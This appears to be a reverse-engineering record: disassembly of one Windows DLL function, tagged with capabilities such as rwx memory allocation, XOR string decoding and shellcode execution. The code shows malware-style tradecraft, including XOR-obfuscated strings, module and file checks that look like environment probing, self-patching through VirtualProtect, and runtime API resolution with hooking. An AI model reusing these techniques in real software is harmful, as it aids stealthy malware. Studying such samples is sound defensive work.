Function at 0x100792b0
Capabilities:
Allocate or change rwx memory
Check if file exists
Check os version
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x100e41c4]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [esp + 0x44], 0
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
sub dword [ebp + 0xc], 1
jne 0x10079861
push 0x94
lea eax, [esp + 0xd4]
mov dword [0x101ef080], esi
push 0
push eax
call fcn.10090bb0
add esp, 0xc
mov dword [esp + 0xd0], 0x94
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0xd4], 6
mov ecx, 1
ja 0x10079343
movzx eax, byte [0x101e6eec]
cmp dword [esp + 0xd8], ecx
cmovbe eax, ecx
mov byte [0x101e6eec], al
mov edx, 0x9b
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100d5ddc]
xor al, dl
mov byte [esp + ecx + 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x10079350
push 0x44adfad4
lea ecx, [esp + 0x18]
mov byte [esp + 0x36], 0
call fcn.1007f350
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [esp + 0x20]
push ecx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0x1e
lea ecx, [esp + 0x174]
mov word [esp + 0x24], 0
xorps xmm0, xmm0
mov word [esp + 0x38], 0
push ecx
push eax
movq qword [esp + 0x24], xmm0
movaps xmmword [esp + 0x30], xmm0
mov byte [esp + 0x42], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x40]
push eax
push 0x40
push 0x1e
push 0x10086310
call esi
push 0x1e
lea eax, [esp + 0x170]
push eax
push 0x10086310
call fcn.10090630
add esp, 0xc
lea eax, [esp + 0x40]
push eax
push dword [esp + 0x44]
push 0x1e
push 0x10086310
call esi
push 0x746c3980
lea ecx, [esp + 0x18]
call fcn.1007f3d0
push eax
call edi
test eax, eax
jne 0x10079575
mov edx, 0x3f
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.s_4____4i_1_]
xor al, dl
mov byte [esp + ecx + 0x40], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x10079430
lea eax, [esp + 0x40]
mov byte [esp + 0x4c], 0
push eax
call edi
test eax, eax
jne 0x10079575
mov eax, 0x100d5e18
lea ecx, [esp + 0x7c]
sub eax, 0x7c53dd42
push eax
call fcn.1007f460
push eax
call edi
test eax, eax
jne 0x10079575
mov eax, 0x100d5e28
lea ecx, [esp + 0xbc]
sub eax, 0xba54304
push eax
call fcn.1007f4a0
push eax
call edi
test eax, eax
jne 0x10079575
mov eax, 0x100d5e3c
lea ecx, [esp + 0x20]
sub eax, 0x7291833d
push eax
call fcn.1007f4e0
push eax
call edi
test eax, eax
jne 0x10079575
push 0x71b5f02f
lea ecx, [esp + 0xa0]
call fcn.1007f520
push eax
call edi
test eax, eax
jne 0x10079575
push 0x11ab721c
lea ecx, [esp + 0xb0]
call fcn.1007f560
push eax
call edi
test eax, eax
jne 0x10079575
mov eax, str.IntAvfcse_J4dx
lea ecx, [esp + 0x16c]
sub eax, 0x6f66edfd
push eax
call fcn.1007f5a0
push eax
call edi
test eax, eax
jne 0x10079575
mov eax, 0x100d5e84
lea ecx, [esp + 0x50]
sub eax, 0x6f5e7cdd
push eax
call fcn.1007f5e0
push eax
call edi
test eax, eax
jne 0x10079575
mov edx, 0x12
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ecx + str.bcpddpvw2xfz]
xor al, dl
mov byte [esp + ecx + 0x8c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x10079540
lea eax, [esp + 0x8c]
mov byte [esp + 0x9a], 0
push eax
call edi
test eax, eax
jne 0x10079575
mov al, 1
jmp 0x10079577
xor al, al
test al, al
je 0x10079861
mov edx, 0x63
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100d5ea4]
xor al, dl
mov byte [esp + ecx + 0x7c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x10079590
lea eax, [esp + 0x7c]
mov byte [esp + 0x88], 0
push eax
call edi
test eax, eax
jne 0x100795ed
push 0x68c7bd94
lea ecx, [esp + 0x18]
call fcn.1007f620
push eax
call edi
test eax, eax
je 0x100795e9
push 0x122b9623
lea ecx, [esp + 0x44]
call fcn.1007f690
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x100795ed
xor al, al
jmp 0x100795ef
mov al, 1
test al, al
je 0x10079861
mov edx, 0xb0
xor ecx, ecx
nop
mov al, byte [ecx + 0x100d5ec8]
xor al, dl
mov byte [esp + ecx + 0x50], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x10
jb 0x10079600
push 0x5ac2baa4
lea ecx, [esp + 0x18]
mov byte [esp + 0x64], 0
call fcn.1007f6d0
lea ecx, [esp + 0x50]
push ecx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [esp + 0x1c], 0
mov esi, eax
movq qword [esp + 0x14], xmm0
mov byte [esp + 0x1e], 0
movaps xmmword [esp + 0x50], xmm0
mov byte [esp + 0x60], 0
call fcn.10081f20
push 0x101eefe0
mov edx, 0x1003fa60
mov ecx, esi
call fcn.10081f60
mov ecx, esi
call fcn.10082100
mov eax, 0x100d5ee8
lea ecx, [esp + 0x40]
sub eax, 0x17f22db7
push eax
call fcn.1007f760
push eax
call edi
test eax, eax
je 0x10079786
push 0x834d28de
lea ecx, [esp + 0x24]
call fcn.1007ef50
mov edi, 0x100d54fc
lea ecx, [esp + 0x14]
sub edi, 0x7ae9cc4c
mov esi, eax
push edi
call fcn.1007eec0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [esp + 0x1c], 0
mov esi, eax
movq qword [esp + 0x14], xmm0
mov byte [esp + 0x1e], 0
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0
mov word [esp + 0x34], 0
call fcn.10081f20
push 0x101eef14
mov edx, 0x1003fa70
mov ecx, esi
call fcn.10081f60
mov ecx, esi
call fcn.10082100
push 0x7a36237c
lea ecx, [esp + 0x24]
call fcn.1007ef90
push edi
lea ecx, [esp + 0x18]
mov esi, eax
call fcn.1007eec0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [esp + 0x1c], 0
mov esi, eax
movq qword [esp + 0x14], xmm0
mov byte [esp + 0x1e], 0
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0
mov word [esp + 0x34], 0
call fcn.10081f20
push 0x101eef14
mov edx, 0x1003fa70
mov ecx, esi
call fcn.10081f60
mov ecx, esi
call fcn.10082100
mov byte [0x101e70ad], 0
mov edx, 0xc0
mov dword [0x101e70b0], 0
xor ecx, ecx
nop
mov al, byte [ecx + 0x100d5ef0]
xor al, dl
mov byte [esp + ecx + 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x15
jb 0x100797a0
mov eax, str.VYZZXI
mov byte [esp + 0x35], 0
sub eax, 0x3bd631b5
lea ecx, [esp + 0x40]
push eax
call fcn.1007f7d0
lea ecx, [esp + 0x20]
push ecx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov dword [esp + 0x30], 0
mov esi, eax
movq qword [esp + 0x40], xmm0
movaps xmmword [esp + 0x20], xmm0
mov word [esp + 0x34], 0
call fcn.10081f20
push 0x101ef1b0
mov edx, 0x100765b0
mov ecx, esi
call fcn.10081f60
mov ecx, esi
call fcn.10082100
push 0
push ecx
push 0
push 0x10076ea0
push ecx
mov byte [0x101e6ed4], 1
call fcn.10087790
add esp, 0x14
push 0
push ecx
push 0
push 0x10078b00
push ecx
call fcn.10087790
add esp, 0x14
cmp byte [0x101e6eec], 0
jne 0x10079861
call fcn.1003fa90
call fcn.1003fb00
call fcn.1003fb70
mov ecx, dword [esp + 0x18c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 0xc